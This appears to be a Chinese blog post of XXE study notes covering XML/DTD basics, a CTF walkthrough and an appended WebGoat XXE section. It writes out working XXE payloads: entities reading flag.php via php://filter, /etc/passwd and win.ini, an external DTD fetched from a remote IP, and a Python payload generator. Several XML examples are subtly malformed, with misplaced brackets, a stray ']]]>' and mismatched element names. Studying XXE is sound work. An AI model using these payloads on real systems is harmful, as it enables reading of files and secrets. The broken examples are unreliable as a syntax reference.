XXE学习笔记


前言

这里主要记录一下这几天学习xxe的内容,以及自己的一些心得体会


以下是本篇文章正文内容

一、XXE概念

XXE全称是XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击。

二、基础知识

1.XML

1、特征
✦ XML是可扩展标记语言(EXtensible Markup Language),是一种很像HTML的标记语言。
✦XML被设计用来传输和存储数据,HTML则用来显示数据
✦XML标签没有被预定义,需要自定义标签
✦是W3C的推荐标准

2、XML文档结构
✦XML声明
✦DTD文档类型定义
✦文档元素
基本框架如下:

<!--这是注释-->
<!--XML声明-->
<?xml version="1.0"?>

<!--文档类型定义-->
<!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

2.DTD介绍

DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束,也就是说,DTD是用来规范XML文档的格式的。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用)。

DTD一般认为有两种引用或声明方式:
1、内部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在XML文档中。
2、外部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在一个独立的DTD文件(.dtd)中。
(网上有提到的引用公共DTD其实也算外部引用DTD的一种)

一下是几种实体的格式:
✦内部实体

<!DOCTYPE note [
    <!ENTITY a "admin">
]>
<note>&a</note>
<!-- admin -->

✦内部参数实体

<!DOCTYPE note> [
    <!ENTITY % b "<!ENTITY b1 "awsl">">
    %b;
]>
<note>&b1</note>
<!-- awsl -->

✦外部实体

<!DOCTYPE note> [
    <!ENTITY c SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
]>
<note>&c</note>
<!-- Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA== -->

✦外部参数实体

<!DOCTYPE note> [
    <!ENTITY % d SYSTEM "http://47.106.143.26/xml.dtd">
    %d;
]>
<note>&d1</note>
<!-- Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA== -->

参数实体用% name申明,引用时用%name;,只能在DTD中申明,DTD中引用。
其余实体直接用name申明,引用时用&name;,只能在DTD中申明,可在xml文档中引用
外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

三、XXE漏洞原理及相关题目

1、原理

刚才介绍过,XXE(XML External Entity Injection) 全称为 XML 外部实体注入,从名字就能看出来,这是一个注入漏洞,注入的是XML外部实体,注意这四个字,外部实体。如果能注入外部实体并且成功解析的话,这就会大大拓宽我们 XML 注入的攻击面。

2、题目

当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
xxe 漏洞触发的点往往是可以上传 xml 文件的位置,没有对上传的 xml 文件进行过滤,导致可上传恶意 xml 文件。
题目链接http://web.jarvisoj.com:9882/

在这里插入图片描述点击链接没有明显的回应,查看源码没有什么有用的信息,尝试抓包

在这里插入图片描述尝试将将Content-Type: application/json修改为 Content-Type: application/xml 构造XXE,先内部注入,看xml是否能被解析
在这里插入图片描述可以被解析,先尝试外部注入,
在这里插入图片描述

发现可以读取文件,在这里插入图片描述找到flag

这篇文章详细讲了xxe漏洞许多其他方面的应用,这里就不多说了
https://xz.aliyun.com/t/3357#toc-5


总结

总的来说,知识面还是比较狭窄,只是对之前学习的关于xxe的基础知识进行大概的总结,还有许多细节方面没有写完整,对于xxe漏洞复现和实操还没有过多的深入。笔者将会继续学习这方面的知识,争取对xxe有更深的认识
参考文献:https://www.cnblogs.com/20175211lyz/p/11413335.html
https://xz.aliyun.com/t/3357#toc-4
https://xz.aliyun.com/t/3357#toc-24

### 关于 WebGoat 中 XXE 漏洞题目的解题思路与练习笔记 #### 什么是 XXE 漏洞? XML 外部实体 (XXE) 漏洞允许攻击者通过恶意构建的 XML 文档利用应用程序解析器的功能,读取本地文件、执行远程代码或发起拒绝服务攻击。这种漏洞通常发生在服务器端未正确配置 XML 解析器的情况下[^1]。 --- #### WebGoat 平台简介 WebGoat 是由 OWASP 提供的一款 Java 应用程序靶场工具,旨在帮助开发者和安全研究人员了解并实践各种 Web 安全漏洞及其防护方法。它涵盖了多种常见漏洞类型,包括但不限于 XSS、SQL 注入以及 XXE 等[^2]。 --- #### WebGoat 中 XXE 题目概述 在 WebGoat 的 XXE 训练模块中,用户可以通过一系列挑战来熟悉如何发现和利用此类漏洞。以下是针对该部分的一些通用解题思路: 1. **理解目标环境** - 分析给定的应用逻辑,确认是否存在对用户提交数据(如上传文件或表单输入)中的 XML 数据进行处理的行为。 - 如果存在,则进一步验证其使用的 XML 解析库是否启用了外部实体加载功能。 2. **构造恶意 payload** 使用标准 DTD(文档类型定义),尝试引入外部资源路径作为测试载体。例如: ```xml <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo>&xxe;</foo> ``` 上述代码片段试图从 Linux 文件系统中提取 `/etc/passwd` 文件的内容,并将其嵌套到响应消息体里返回给客户端。 3. **观察反馈结果** 将上述请求发送至目标接口后,仔细查看服务器回传的数据包内容是否有预期敏感信息泄露现象发生;如果没有成功获取所需资料,则需调整策略重新尝试其他可能存在的薄弱环节直至达成最终目的为止。 4. **实施防御措施建议** 当完成所有指定任务之后,还需要掌握有效的缓解办法以防止实际生产环境中再次遭遇类似威胁情况的发生。具体做法如下所示: - 禁止不必要的特性支持——关闭 DOMParser 或 SAXParser 对外网链接地址的支持选项; - 设置严格的白名单机制过滤掉非法字符集编码形式; - 更新第三方依赖版本号保持最新状态从而减少潜在风险暴露面。 --- #### 示例代码展示 下面是一段简单的 Python 脚本用于自动化生成基本类型的 XXE 测试向量: ```python import xml.etree.ElementTree as ET def create_xxe_payload(entity_name, system_id): dtd = f'''<!DOCTYPE root [ <!ENTITY {entity_name} SYSTEM "{system_id}"> ]>''' root = ET.Element('root') tree = ET.ElementTree(root) # Add entity reference inside the element text. root.text = f'&{entity_name};' return '\n'.join([dtd, ET.tostring(root).decode()]) if __name__ == "__main__": print(create_xxe_payload("secret", "file:///C:/Windows/win.ini")) ``` 此函数接受两个参数分别代表自定义标签名称及要访问的目标位置字符串值,最后输出完整的符合要求格式化的 XML 结构化文本串以便后续操作调用。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值